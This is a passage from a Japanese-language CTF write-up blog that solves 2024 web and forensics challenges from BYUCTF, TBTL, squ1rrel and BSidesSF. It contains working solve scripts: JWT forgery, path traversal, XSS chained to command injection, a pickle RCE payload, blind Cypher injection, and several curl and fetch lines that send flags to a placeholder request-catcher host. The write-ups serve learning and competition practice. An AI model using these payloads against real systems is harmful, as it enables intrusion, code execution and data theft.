
        data = sock.receive()
        data = json.loads(b64decode(data).decode())

        send_time = data['send_time']
        recv_time = time()

        if (scores := get_room_scores(room_id)) is not None and send_time >= time():
            sock.send(b64encode(json.dumps({
                'scores': scores,
                'end': True,
                'message': '???'
            }).encode()))
            return

        if i == 0:
            edit_score(scores, room_id, data['id'], 0)

        if data['answer'] == q['answer']:
            edit_score(scores,
                       room_id,
                       data['id'],
                       get_score(scores, room_id, data['id']) + 1000 + max((send_time - recv_time) * 50, -500))

    sock.send(b64encode(json.dumps({
        'scores': scores,
        'end': True,
        'message': f'omg congrats, swiftie!!! {flag}' if get_score(scores, room_id, data['id']) >= 1000 * len(kahoot['questions']) else 'sucks to suck brooooooooo'
    }).encode()))

ソースコードを読んでもいいのですが、動かしてみるとwebsocket経由で

{"send_time": 1716177131.8692849, "scores": [], "question": "what is the best taylor swift song?", "answers": ["cruel summer", "daylight (stosp's version)", "all too well (10 minute version)", "all too well (5 minute version)"], "answer": 1}

このように、answerが帰ってきていたり、その応答として

{"id":"cfa6030d-6c73-c262-b872-b37e2c045dd3","answer":0,"send_time":1716177131.8692849}

というのを返す。最初、send_timeを未来のものにすればいいかとも思ったがif (scores := get_room_scores(room_id)) is not None and send_time >= time():で対策がされている。解法は、同じセッションでゲームをやり直すこと。この解法は以下の処理でブロックされているように見える。

if i == 0:
    edit_score(scores, room_id, data['id'], 0)

ここで、第三引数がdataから持ってきている所に違和感がある。dataはdata = sock.receive()にあるようにwebsocket経由で受け取ったものなので、外部から差し込み可能になっている。つまり、この初期化処理を別のidに対して行うことで初期化処理を回避できるのではないかという仮説が立ち、ソースを読んでみると実現可能であることが分かる。

def edit_score(scores, room_id, uid, new_score):
    for i, score_data in enumerate(scores):
        if score_data[1] == uid:
            scores[i][2] = new_score
            return scores

    all_scores.append([room_id, uid, new_score])
    scores.append(all_scores[-1])
    return scores


def get_score(scores, room_id, uid):
    for score_data in scores:
        if score_data[0] == room_id and score_data[1] == uid:
            return score_data[2]

    return 0

…

edit_score(scores,
            room_id,
            data['id'],
            get_score(scores, room_id, data['id']) + 1000 + max((send_time - recv_time) * 50, -500))

更新処理はこのような感じ。get_scoreで取得して、edit_scoreで取得している。room_idとuidで取得はしているが特に問題番号での重複確認とかは無く、取得して足して入れているだけ。ok. つまり、以下のような手順でやってやれば、2週目でも点数が合算されてフラグが手に入る。

  1. user1で1週クリアする(答えが問題文提供時に一緒に送られてくるので全問正解できる。自動化してもフラグ獲得までには届かない
  2. 2週目の1問目だけuser2にして答える。 {'id': 'user2', 'answer': resp'answer', 'send_time': 'send_time'} みたいにする
  3. 他の問題はuser1でクリアする

以下、上記の処理を自動化したもの(簡略化のため、1週目の1問目もuser2にしているが、そこは気にせず読んで下さい)。応答にフラグが出てくる。

import asyncio, websockets, binascii, random, string, json
from base64 import b64decode, b64encode

async def solve():
    #uri = "ws://localhost:4444"
    uri = 'wss://kaboot-b7598a0831b4faf3.tjc.tf'
    room_id = "".join(random.choices(string.ascii_letters, k=8))

    for _ in range(2):
        async with websockets.connect(uri + '/room/' + room_id) as websocket:
            resp = await websocket.recv()

            for i in range(10):
                resp = await websocket.recv()
                resp = json.loads(b64decode(resp).decode())

                print(resp)

                if 'end' in resp:
                    break

                await websocket.send(b64encode(json.dumps({
                    'id': 'user2' if i == 0 else 'user1',
                    'answer': resp['answer'],
                    'send_time': resp['send_time'],
                }).encode()))

            resp = await websocket.recv()
            resp = json.loads(b64decode(resp).decode())

            print(resp)
        
asyncio.get_event_loop().run_until_complete(solve())

BYUCTF 2024 Writeups

https://ctftime.org/event/2252

[Web] Random

ソースコード有り。ファイルを閲覧できるサイトが与えられるが、利用するにはまず、以下の検証を突破する必要がある。

time_started = round(time.time())
APP_SECRET = hashlib.sha256(str(time_started).encode()).hexdigest()


# check authorization before request handling
@app.before_request
def check_auth():
    # ensure user is an administrator
    session = request.cookies.get('session', None)

    if session is None:
        abort(403)

    try:
        payload = jwt.decode(session, APP_SECRET, algorithms=['HS256'])
        if payload['userid'] != 0:
            abort(401)
    except:
        abort(Response(f'<h1>NOT AUTHORIZED</h1><br><br><br><br><br> This system has been up for {round(time.time()-time_started)} seconds fyi :wink:', status=403))

検証を突破するJWTトークンを作成する必要があるのだが、脆弱な部分が鍵をサーバ起動時の現在時刻から生成している部分。今回は検証に失敗しexceptに入ると、サーバが起動してからの時間が取得できる。この情報から、サーバの起動時間が逆算でき、つまり、鍵が復元できる。PoCは後で共有するとして、認証を突破できたら、フラグは/in_prod_this_is_random/flag.txtにあるので、これを何とか持って来る必要がある。以下の部分でファイルが持ってこれそうだ。

# get a file
@app.route('/api/file', methods=['GET'])
def get_file():
    filename = request.args.get('filename', None)

    if filename is None:
        abort(Response('No filename provided', status=400))

    # prevent directory traversal
    while '../' in filename:
        filename = filename.replace('../', '')

    # get file contents
    return open(os.path.join('files/', filename),'rb').read()

os.path.joinは妙な動きをすることが知られており、第二引数に絶対パスが与えられると全体がその絶対パスに上書きされるということが起こる。よって、filepathに/in_prod_this_is_random/flag.txtと指定すれば、../で戻ることなくルートからファイルを指定可能。…とやると失敗。in_prod_this_is_randomというのをちゃんと読んでなかったが、このパスもどこかから持って来る必要があるようだ。これは/proc/self/environを取得すると取れた。ということで以下のスクリプトでフラグが得られる。

import requests
import jwt, re, time, hashlib

BASE = 'https://random.chal.cyberjousting.com'
#BASE = 'http://localhost:40000'

def get_token(secret):
    return jwt.encode({ "userid" : 0 }, secret, algorithm="HS256")

def test(secret):
    r = requests.get(f"{BASE}/", cookies={"session":get_token(secret)})
    return r.status_code != 403

r = requests.get(F"{BASE}/", cookies={"session":"hoge"}).text
running_time = int(re.search(r'(\d+) seconds', r).group(1))
calcurated_time_started = round(time.time()) - running_time
actual_time_started = -1

for d in range(-1,2):
    secret = hashlib.sha256(str(calcurated_time_started + d).encode()).hexdigest()
    if test(secret) == True:
        actual_time_started = calcurated_time_started + d

assert 0 < actual_time_started

secret = hashlib.sha256(str(actual_time_started).encode()).hexdigest()
secret_path = requests.get(f"{BASE}/api/file?filename=/proc/self/environ", cookies={"session":get_token(secret)}).text.split('/')[-1][:-1]
r = requests.get(f"{BASE}/api/file?filename=/{secret_path}/flag.txt", cookies={"session":get_token(secret)}).text
print(r)

[Web] Not a Problem

ソースコード有り。admin botpythonで作られたサイトが与えられる。pythonで作られた方で面白そうなのは以下の関数。

# current date
@app.route('/api/date', methods=['GET'])
def get_date():
    # get "secret" cookie
    cookie = request.cookies.get('secret')

    # check if cookie exists
    if cookie == None:
        return '{"error": "Unauthorized"}'
    
    # check if cookie is valid
    if cookie != SECRET:
        return '{"error": "Unauthorized"}'
    
    modifier = request.args.get('modifier','')
    
    return '{"date": "'+subprocess.getoutput("date "+modifier)+'"}'

明らかなコマンドインジェクションがある。試しにdateを含めたURLをbotに送ってみるとエラーが出た。admin bot側でdateが含まれているか検証していた。

if (url.includes("date") || url.includes("%")) {
    res.send('Error: "date" is not allowed in the URL')
    return
}

何か別の方法を考えよう。以下の部分はどうだろうか。

# get stats
@app.route('/api/stats/<string:id>', methods=['GET'])
def get_stats(id):
    for stat in stats:
        if stat['id'] == id:
            return str(stat['data'])
        
    return '{"error": "Not found"}'


# add stats
@app.route('/api/stats', methods=['POST'])
def add_stats():
    try:
        username = request.json['username']
        high_score = int(request.json['high_score'])
    except:
        return '{"error": "Invalid request"}'
    
    id = str(uuid.uuid4())

    stats.append({
        'id': id,
        'data': [username, high_score]
    })
    return '{"success": "Added", "id": "'+id+'"}'

入力を入れて出力しているがXSS対策がなされているようには見えない。試しに以下のようにXSSコードを入れ込んでみるとsタグが動くことが確認できた。

import requests
import json

BASE = 'http://localhost:40001'

t = requests.post(f"{BASE}/api/stats", json={'username':'<s>asdf<\s>','high_score':1}).text
generated_id = json.loads(t)['id']

t = requests.get(f"{BASE}/api/stats/{generated_id}").text
print(f"{BASE}/api/stats/{generated_id}")
print(t)

ということで、この部分をリダイレクタとして活用することにしよう。XSSでリダイレクトしてコマンドインジェクションして外部送信するURLを作るPoCは以下。

import requests
import json
import urllib.parse

#BASE = 'http://localhost:40001'
BASE = 'https://not-a-problem.chal.cyberjousting.com'

command = 'cat /ctf/flag.txt | curl https://[yours].requestcatcher.com/ -X POST -d @-'
command = urllib.parse.quote(command)
payload = "<meta http-equiv=refresh content='0; url=http://127.0.0.1:1337/api/date?modifier=`" + command + "`'>"
t = requests.post(f"{BASE}/api/stats", json={'username':payload,'high_score':1}).text
generated_id = json.loads(t)['id']

t = requests.get(f"{BASE}/api/stats/{generated_id}").text
print(f"{BASE}/api/stats/{generated_id}")
print(t)

得られたURLを踏ませれば、requestcatherにフラグが飛んでくる。

[Web] Triple Whammy

ソースコード有り。まず、明らかなXSSポイントがある。

# index
@app.route('/', methods=['GET'])
def main():
    name = request.args.get('name','')

    return 'Nope still no front end, front end is for noobs '+name

admin botもあり、cookieでSECRETを渡していて、以下のようにSECRETを検証している所があるので、これを踏ませるのだろう。

# query
@app.route('/query', methods=['POST'])
def query():
    # get "secret" cookie
    cookie = request.cookies.get('secret')

    # check if cookie exists
    if cookie == None:
        return {"error": "Unauthorized"}
    
    # check if cookie is valid
    if cookie != SECRET:
        return {"error": "Unauthorized"}
    
    # get URL
    try:
        url = request.json['url']
    except:
        return {"error": "No URL provided"}

    # check if URL exists
    if url == None:
        return {"error": "No URL provided"}
    
    # check if URL is valid
    try:
        url_parsed = urlparse(url)
        if url_parsed.scheme not in ['http', 'https'] or url_parsed.hostname != '127.0.0.1':
            return {"error": "Invalid URL"}
    except:
        return {"error": "Invalid URL"}
    
    # request URL
    try:
        requests.get(url)
    except:
        return {"error": "Invalid URL"}
    
    return {"success": "Requested"}

特に気になる所は無い。特筆すべき所として、internal.pyというのが別途動いている。これをこの/query経由で呼ぶのだろう。

# imports
from flask import Flask, request
import pickle, random


# initialize flask
app = Flask(__name__)
port = random.randint(5700, 6000)
print(port)


# index
@app.route('/pickle', methods=['GET'])
def main():
    pickle_bytes = request.args.get('pickle')

    if pickle_bytes is None:
        return 'No pickle bytes'
    
    try:
        b = bytes.fromhex(pickle_bytes)
    except:
        return 'Invalid hex'
    
    try:
        data = pickle.loads(b)
    except:
        return 'Invalid pickle'

    return str(data)


if __name__ == "__main__":
    app.run(host='0.0.0.0', port=port, threaded=True)

pickleのデリアライズをするが、ポートがランダムで指定されている。なので、XSSでポートスキャンして、そのあと、Pickleのシリアライズ物を送ってやる。後は既存手法の組み合わせ。以下のようなPoCコード。

pickle作るときに先頭に0x00を4つつけるものとそうでないものがあるけれど、どういう条件の違いがあるんだろう。b"\x00"*4 + payloadみたいなやつ。

import requests
from urllib.parse import quote

CATCHER = 'https://[yours].requestcatcher.com/out'

payload = '''
<script>
for (let port = 5700; port <= 6000; port++) {
    const url = 'http://127.0.0.1:' + port.toString();
    fetch(url, {mode: 'no-cors'}).then(res => {
        fetch('<<<CATCHER>>>', { method: "POST", body: port })
    });
}
</script>
'''
payload = payload.replace("<<<CATCHER>>>", CATCHER)

print('====== STAGE 1 =======')
print('?name='+quote(payload))

# POST = 5863

import pickle
import os

class RCE:
    def __reduce__(self):
        cmd = ('cat /ctf/flag.txt | curl https://[yours].requestcatcher.com/out -X POST -d @-')
        return os.system, (cmd,)

def generate_exploit():
    payload = pickle.dumps(RCE())
    return payload

payload = '''
<script>
fetch('http://127.0.0.1:5863/pickle?pickle=<<<PICKLED>>>', {mode: 'no-cors'}).then(response => {
    fetch('<<<CATCHER>>>', { method: "POST", body: "launched!"});
});
</script>
'''
payload = payload.replace("<<<CATCHER>>>", CATCHER)
payload = payload.replace("<<<PICKLED>>>", generate_exploit().hex())

print('====== STAGE 2 =======')
print('?name='+quote(payload))

STAGE 1でポートを特定し、STAGE 2でRCE。

[Web] Argument 解けなかった

公式解説はここHTBだったかでこのテク見たことあるな… 攻撃テクの日本語解説はこれです

TBTL CTF 2024 Writeup

https://ctftime.org/event/2324

[Web] Butterfly

ソースコード無し。アクセスしてみると難読化されたjavascriptが含まれていた。https://obf-io.deobfuscate.io/ に入れてみると比較的読める形になる。IndexedDBが使われていたので、公式ドキュメントを見ながら、見やすいように変名して、重要そうな所を抜粋すると以下のようになる。

indexedDB.deleteDatabase("strangeStorage");
var request = indexedDB.open("strangeStorage", 1);
request.onupgradeneeded = function (event) {
  var db = event.target.result;
  var objectStore = db.createObjectStore("FLAG", {
    "keyPath": 'id',
    "autoIncrement": true
  });
  objectStore.createIndex("letter", "letter", {
    unique: false
  });
};
request.onsuccess = function (event) {
  var db = event.target.result;
  var transaction = db.transaction(["FLAG"], "readwrite");
  var objectStore = transaction.objectStore("FLAG");
  enc = ["UW=(X4s}@(BFLzW1(2}vGpzzgQNy;&L4H??)(5Q+40sB|^/s2bRfBst-x[ELa|VNS)uoYsX3P]`Fx36ClT_HA?rl", [... redacted ...] , '>aA/`=:_6ZhJm)eN;h;L>+~Q^6@RJUtR+H^]Q0kbsMd3c.Sk8{n,J>Hb*bOHnaJ2AdBFnA`MK[v5itlMJw-h|G/='];
  for (const line in enc) {
    var val = enc[line][line].charCodeAt();
    var dec = (val * val + 3 * val + 1 - (val + 1) * (val + 1)) * (2 * (line + 1) / (line + 1)) >> 1;
    objectStore.add({
      'letter': String.fromCharCode(dec)
    });
  }
};
code = atob("Q3J5cHRvSlMuQUVTLmRlY3J5cHQoQ0lQSEVSVEVYVCwgS0VZKS50b1N0cmluZyhDcnlwdG9KUy5lbmMuVXRmOCk=");
localStorage.setItem("execute", JSON.stringify({ "code": code }));
sessionStorage.setItem("KEY", atob("c2VjcmV0IGtleSBpcyB2ZXJ5IHNlY3VyZQ=="));

IndexedDBに入れられているものをまず取り出してみると何かのエンコード物のようなものが手に入る。次に、code部分をbase64デコードすると以下のようなスクリプトだった。

CryptoJS.AES.decrypt(CIPHERTEXT, KEY).toString(CryptoJS.enc.Utf8)

AESでKEYを使って復元してやればよさそう。以下のようにコードを作り実行すると、フラグが得られる。

enc = ["UW=(X4s}@(BFLzW1(2}vGpzzgQNy;&L4H??)(5Q+40sB|^/s2bRfBst-x[ELa|VNS)uoYsX3P]`Fx36ClT_HA?rl", [... redacted ...] ,'>aA/`=:_6ZhJm)eN;h;L>+~Q^6@RJUtR+H^]Q0kbsMd3c.Sk8{n,J>Hb*bOHnaJ2AdBFnA`MK[v5itlMJw-h|G/='];
flag = "";
for (const line in enc) {
    var val = enc[line][line].charCodeAt();
    var dec = (val * val + 3 * val + 1 - (val + 1) * (val + 1)) * (2 * (line + 1) / (line + 1)) >> 1;
    flag += String.fromCharCode(dec);
}

var CryptoJS = require("crypto-js"); // npm install crypto-js
CIPHERTEXT = flag;
KEY = atob("c2VjcmV0IGtleSBpcyB2ZXJ5IHNlY3VyZQ==");
dec = CryptoJS.AES.decrypt(CIPHERTEXT, KEY).toString(CryptoJS.enc.Utf8);
console.log(dec);

[Web] Mexico City Tour

ソースコード有り。DBとしてneo4jが動いており、以下のようにcipherのクエリが作られている。ただ埋め込まれているのでインジェクション可能。Cipher Injectionしよう。

distance_query = f'MATCH (n {{id: {start}}})-[p *bfs]-(m {{id: {end}}}) RETURN size(p) AS distance;'

ということで162をstartStationにして、145}) RETURN 1337 AS distance; //をendに入れてみると1337が出てきた。うまくいっていますね。結果は数値でしか取得できないので、(文字を数値に変換して抜けそうではあるが…)ブラインドで使えそうなクエリを探していこう。

145}) WHERE 1=0 RETURN -1 AS distance UNION match (a) where a.title = '' or 3 <= size(keys(a)) return 1 AS distance; //
-> 1
145}) WHERE 1=0 RETURN -1 AS distance UNION match (a) where a.title = '' or 4 <= size(keys(a)) return 1 AS distance; //
-> unknown

いろいろみながら試すとこのような感じでブラインドで抜き取りできそうな式ができた。これを使って、以下のようにカラムを抜いてみる。

import requests
import time
BASE = 'http://ctf.dev.tbtl.io:8001/'
DIC = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ{}_'

def test(payload):
    t = requests.post(BASE + 'search', data={'startStation':'162','endStation':payload}).text
    time.sleep(1)
    return 'unknown' not in t

# Find the size of columns
ok = 0
ng = 256
while ok + 1 != ng:
    md = (ok + ng) // 2
    if test("145}) WHERE 1=0 RETURN -1 AS distance UNION match (a) where " + str(md) + " <= size(keys(a)) return 1 AS distance; //"):
        ok = md
    else:
        ng = md

size_of_columns = ok
print(f"The size of columns is {size_of_columns}")

# Find the column
for i in range(size_of_columns):
    ok = 0
    ng = 256
    while ok + 1 != ng:
        md = (ok + ng) // 2
        if test("145}) WHERE 1=0 RETURN -1 AS distance UNION match (a) where " + str(md) + " <= size(keys(a)[" + str(i) + "]) return 1 AS distance; //"):
            ok = md
        else:
            ng = md

    length = ok
    print(f"The length of column {i} is {length}")

    key = ''
    for j in range(length):
        for c in DIC:
            if test("145}) WHERE 1=0 RETURN -1 AS distance UNION match (a) where substring(keys(a)[" + str(i) + "],"+ str(j) + ",1)='" + c + "' return 1 AS distance; //"):
                key += c
                print(key)
                break

実行すると…

$ python3 solver.py 
The size of columns is 3
The length of column 0 is 2
i
id
The length of column 1 is 4
n
na
nam
name
The length of column 2 is 4
f
fl
fla
flag

flagカラムがあるようです。試しに145}) WHERE 1=0 RETURN -1 AS distance UNION MATCH (b) WHERE 0 < size(b.flag) RETURN b.id AS distance; //とすると-1が帰ってきました。かなりそれっぽい。145}) WHERE 1=0 RETURN -1 AS distance UNION MATCH (b) WHERE b.id = -1 RETURN size(b.flag) AS distance; //とすると30と出てきたので30文字のようです。同様にブラインドで持ってきましょう。以下のスクリプトでフラグが得られる。

import requests
import time
BASE = 'http://[redacted]/'
DIC = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789{}_'

def test(payload):
    t = requests.post(BASE + 'search', data={'startStation':'162','endStation':payload}).text
    time.sleep(1)
    return 'unknown' not in t

flag = 'TBTL{wh3R3_15_mY_'
for i in range(len(flag), 30):
    for c in DIC:
        print(f"testing... {flag}{c}")
        if test("145}) WHERE 1=0 RETURN -1 AS distance UNION match (a) WHERE a.id = -1 AND substring(a.flag,"+ str(i) + ",1)='" + c + "' return 1 AS distance; //"):
            flag += c
            print(f"found!!!!!!!!!! {flag}")
            break

[Web] Rnd For Data Science

ソースコード有り。以下のような構成になっている。

        ┌────────┐   ┌──────────────────┐
 ──────►│        ├──►│                  │
        │ app.py │   │ generator_app.py │
 ◄──────┤        │◄──┤                  │
        └────────┘   └──────────────────┘

まず、generator_app.pyは以下。

@app.route("/", methods=['POST'])
def index():
    delimiter = request.form['delimiter']

    if len(delimiter) > 1:
        return 'ERROR'

    num_columns = int(request.form['numColumns'])
    if num_columns > 10:
        return 'ERROR'

    headers = ['id'] + [request.form["columnName" + str(i)] for i in range(num_columns)]

    forb_list = ['and', 'or', 'not']

    for header in headers:
        if len(header) > 120:
            return 'ERROR'
        for c in '\'"!@':
            if c in header:
                return 'ERROR'
        for forb_word in forb_list:
            if forb_word in header:
                return 'ERROR'

    csv_file = delimiter.join(headers)

    for i in range(10):
        row = [str(i)] + [str(rnd.randint(0, 100)) for _ in range(num_columns)]
        csv_file += '\n' + delimiter.join(row)

    row = [str('NaN')] + ['FLAG'] + [flag] + [str(0) for _ in range(num_columns)]
    csv_file += '\n' + delimiter.join(row[:len(headers)])

    return csv_file

適当にデータを作り、末尾にFLAGを追加している。numColumns=2&columnName0=a&columnName1=b&delimiter=%2Cというリクエストを送ると、以下のように帰ってくる。

id,a,b
0.0,61,32
1.0,99,5
2.0,40,83
3.0,94,58
4.0,23,54
5.0,64,56
6.0,36,32
7.0,51,30
8.0,94,77
9.0,71,78
NaN,FLAG,フラグ

しかし、app.py側で以下のようにフラグを削除している。

# Filter out secrets
first = list(df.columns.values)[1]
df = df.query(f'{first} != "FLAG"')

2行目がFLAGのものを見つけてきているので、delimiterを_とかにして1行に全部入れ込む方法を考えてみよう。つまり、numColumns=2&columnName0=a&columnName1=b&delimiter=_としてみる。すると500応答が帰ってきた。これは上記のフィルタリング処理で[1]と指定しているため添え字エラーになるため。

なので、,は入れてやる必要がありそうだが…と考えると、最初のカラム名,を含めればいい感じになるのでは?ということで以下のようにしてやるとフィルタリング回避できた。

POST /generate HTTP/1.1
Host: tbtl-rnd-for-data-science.chals.io
Content-Length: 54
Content-Type: application/x-www-form-urlencoded
Connection: close

numColumns=2&columnName0=,a&columnName1=,b&delimiter=_


HTTP/1.1 200 OK
Server: Werkzeug/3.0.2 Python/3.8.17
Date: Sat, 11 May 2024 02:25:59 GMT
Content-Disposition: inline; filename=data.csv
Content-Type: text/csv; charset=utf-8
Content-Length: 182
Cache-Control: no-cache
Connection: close

"id_"_"a_"_b
"0_100_9"__
"1_21_54"__
"2_71_31"__
"3_33_60"__
"4_9_80"__
"5_44_18"__
"6_64_59"__
"7_11_79"__
"8_53_3"__
"9_71_53"__
"NaN_FLAG_TBTL{■■■■■■■■■■■■■■■■■■■}"__

カラム部分が["id",",a",",b"]_で結合されて、id_,a_,bとなるため、良い感じにカラム数を演出できる。

[Web] Talk To You

ソースコード無し。サイトを巡回するとGET /?page=offer.htmlという通信が発生していた。LFIというかパストラバーサルっぽい。

とりあえずGET /?page=../etc/passwdしてみるといつものが得られた。色々guessするとGET /?page=../flag.txtで以下のように応答がある。

Flag is in SQLite3: database.sqlite

ということでGET /?page=database.sqliteすると文字化けするが中身が見られてフラグが得られる。

squ1rrel CTF 2024 Writeups

https://ctftime.org/event/2370

web/Key Server

ソースコード有り。JWTトークンを検証してadmin判定をするサーバが与えられる。tokenの検証方法が特殊で以下のように行っている。

const verifyToken = async (req, res, next) => {
    const token = req.cookies["token"];
    if (!token) {
        return res.status(401).send("Token cookie missing");
    }

    const { header } = jwt.decode(token, { complete: true });
    if (!header?.issuer || !header?.alg) {
        return res.status(401).send("Headers missing");
    }

    let issuer;
    try {
        issuer = new URL(header.issuer);
    } catch (e) {
        return res.status(401).send("Failed to parse URL");
    }

    if (!issuer.host.startsWith("10.")) {
        return res.status(401).send("Invalid IP address");
    }

    // fetch public key from local key server
    let publicKey;
    try {
        publicKey = await (await fetch(header.issuer)).text();
    } catch (e) {
        return res.status(401).send("Failed to get public key");
    }

    try {
        const verified = jwt.verify(token, publicKey, { algorithms: ["RS256"] });
        if (!verified) {
            return res.status(401).send("Invalid token");
        }
        
        if (verified.user === "admin") {
            return next();
        } else {
            res.status(401).send("Not admin!");
        }
    } catch (e) {
        res.status(401).send("Verification error");
    }
};

注目すべきはif (!issuer.host.startsWith("10.")) {の部分でホスト部10.から始まっていれば信頼して公開鍵を検証用に取得しに行っている部分である。Private IPアドレスを想定しているのだろうが、サブドメインでも似たような形が取れる。なので、10.から始まるサブドメインを取得して、自作の公開鍵をホストし、その公開鍵での検証を強制させることにする。攻撃手順は以下。

  1. openssl genrsa -out private_key.pem 4096 && openssl rsa -in private_key.pem -pubout -out public_key.pemでキーペアを作る
  2. 公開鍵を配布するサーバを用意する(自分はこういうときはいつもconoha)
  3. public_key.pemを置いて、webサーバとして公開する(python3 -m http.server 80で十分)
  4. 10.hamayanhamayan.com A [webサーバのIPアドレス]みたいにDNSレコードを用意する
  5. jwtを作る。Headerは{"alg": "RS256", "typ": "JWT", "issuer":"http://10.hamayanhamayan.com/public_key.pem"}で、Payloadは{"user":"admin"}、手順1で作った秘密鍵で署名をする
  6. 最後は以下のようにリクエストすればフラグが得られる。
GET /admin HTTP/1.1
Host: [redacted]
Cookie: token=eyJhbGciOiJSUzI1NiIsInR5cCI6IkpXVCIsImlzc3VlciI6Imh0dHA6Ly8xMC5oYW1heWFuaGFtYXlhbi5jb20vcHVibGljX2tleS5wZW0ifQ.eyJ1c2VyIjoiYWRtaW4ifQ.QYeI_d8xWgk0A2GTe6_PlgdcISb8aDHRR0GfkwMzmJfqzv6Xgi3L4fg7cIkxRJMGnpWD7u8HYW0Msj5bi68vIAaQf1kdZx_6AW3ltQFB_i7dZ9Cw-P-WESXv73YQ9XYdc0eKxeUwPURJv3EDrbfZXOT1y3JaTp72eKginHV8_3UbYp-tTsWiRFX0DbeQCfXxePkyjaXy5AbC9qSD2NcCYAZ7O-RKklq7R96gO3VpYzLt56DtMPfEv3co03diE4IjRk36sVXcC_vAKSe3OpJtUJ_iAfhvgpebKZncsSDLealMJe4Z1ZMG32zWra2jpaPnFY0gqCVetkAmTmKp4pqrV5xj8xGiQzxDQcW_jssT1ZiF4MrePsy-gMVmtQ5FTWRJUxFaszssb0PfTKz9uXZ4JMIFcWi-Ybma1tkL5DO_clYZKS4jWZmAai0Yp0K4ZEfRZ7XwTnTBtpPj94h52jd2U-CPqVZAGw3-mNrrV_zwD-hYsETPTOkAJ5sXgXbG20eA8f69QkMz7U7vaTnVcL7MRx6rJuijHffjYFugEcDkZTj5ElROdHl2z0_KH8kCAQ3-91BM6DkDVzs_3bNpbbA0TY_018gwuPbO2ApGRjaRzcZKDxpfretnrT4gfG0CGT1PcF8c87ANq5lyNkWCzBGEg2lDJy5EhuK3svcrzKQOoPg

BSidesSF 2024 CTF Writeups

https://ctftime.org/event/2357

[Forensics] doctor

SuperSecretWordDoc.docxというファイルが与えられる。拡張子のdocxをzipに変えて解凍してみると、image0.pngという画像が入っており、中身を見るとフラグが書いてある。

[Forensics] [101] javai

JavAI.docxというファイルが与えられる。docxファイルはzipファイルとして展開可能なので、変名して展開する。中にgetflag.classというファイルが入っていた。stringsコマンドで適当に文字列を抜き出してみるとフラグが書いてあった。

[Web] match-one

ソースコード無し。神経衰弱ができるサイトが与えられる。適当に遊んでクリアしてからフラグを要求すると

You got some pairs wrong, reset the game and try again!

と言われる。全問正解でないと駄目なようだ。GET /homeにアクセスするとゲームがリセットされるが、この応答でカードのaltに番号が付けられていて、何番のカードがどこにあるかが応答で分かってしまう。

<div class="memory-card" data-id="2" data-value="2">
    <img class="front-face" src="/static/images/2.png" alt="BSidesSF" />
    <img class="back-face" src="/static/images/back.png" alt="2" />
</div>

これは2番のカード。これにより、盤面の状態をすべて把握できるので、ノーミスで神経衰弱をクリアするとフラグがもらえた。

[Terminal] [101] meow

ターミナルへのアクセスが与えられる。特に制約はなく、/home/ctf/flag.txtを読む問題。cat /home/ctf/flag.txtでフラグ獲得。

[Terminal] No Tools

ターミナルへのアクセスが与えられる。バイナリが色々が使えなくなっていて、/home/ctf/flag.txtを読む問題。色々使えないが、shの組み込み機能だけでファイルは読める。ref

while read line; do
  echo $line;
done <flag.txt

[Forensics] [101] undelete

floppy.imgというディスクイメージが与えられて隠されたファイルを取得する問題。

101問題だからか、how_to_solve.txtという解き方が書かれたファイルが与えられる。その中からbinwalkで解いた。binwalk -v --dd='png' -C . floppy.imgとして、4400というファイルがpngファイルとして取れてくるので中を見るとフラグが書いてある。

[Web] web-tutorial系

XSSできるサイトが与えられるので、管理者権限でGET /xss-???-flagを読んでフラグを得る問題群。

[Web] web-tutorial-1

<script>alert(1);</script>XSSできるという情報と、管理者権限でGET /xss-one-flagすればフラグが得られるという情報が与えられるので、フラグを抜いてくる入門問題。

<script>fetch('/xss-one-flag').then(e=>e.text()).then(e=>{fetch('https://[yours].requestcatcher.com/test', { method : 'post', body: e })})</script>

という感じでフラグを抜いた。

[Web] web-tutorial-2

今度は自分でXSSする術を考える必要がある。管理者権限でGET /xss-two-flagが取得できればフラグ獲得。CSPは

Content-Security-Policy: default-src 'self'; script-src 'self' 'nonce-7PWgzDadXIQqWUNSsQGcXToQztIYLQ0n'; connect-src *; style-src-elem 'self' fonts.googleapis.com fonts.gstatic.com; font-src 'self' fonts.gstatic.com fonts.googleapis.com

という感じで、埋め込み方は

[input]
<script nonce="7PWgzDadXIQqWUNSsQGcXToQztIYLQ0n" src="woof.js"></script>

という感じ。woof.jsというのはあるが、404エラーになっていた。base-uriが無い、かつ、default-srcが適用されないのでbaseタグによる差し込みが行えそう。まず、woof.jsという名前で以下のようなファイルを作成する。

fetch('https://web-tutorial-2-3ebcc611.challenges.bsidessf.net/xss-two-flag').then(e=>e.text()).then(e=>{fetch('https://[yours].requestcatcher.com/test', { method : 'post', body: e })})

次に、これをpythonでwebサーバーを立ててホスト python3 -m http.server 8989 し、ngrokで公開 /opt/ngrok http 8989 する。 ngrokから払い出されたドメインを使ってbaseタグを用意して、<base href="https://e6b0-126-221-138-223.ngrok-free.app/" />のように送ればbaseタグによってwoof.jsが自前でホストしたものに差し替えられ、XSSが達成できる。

[Web] web-tutorial-3

管理者権限でGET /xss-three-flagが取得できればフラグ獲得。CSPは以下のような感じ。

Content-Security-Policy: default-src 'self' 'unsafe-inline';script-src 'self' data:;connect-src *;style-src-elem 'self' fonts.googleapis.com fonts.gstatic.com;font-src 'self' fonts.gstatic.com fonts.googleapis.com

script-srcとしてdata:が許可されているので、それを使ってjavascriptを実行できる。

<script src="data:text/javascript,fetch('/xss-three-flag').then(e=>e.text()).then(e=>{fetch('https://[yours].requestcatcher.com/test',{method:'post',body:e})})"></script>

[Forensics] ztxt

ztxt.pngというファイルが与えられる。問題文は以下のような感じ。

Ze zhope zou zan zind zour zlag zin ztext zhunk

zstegかな…と思ってやってみると正解。

$ zsteg ztxt.png 
meta flag           .. text: "CTF{■■■■■■■■■■■■■■}"
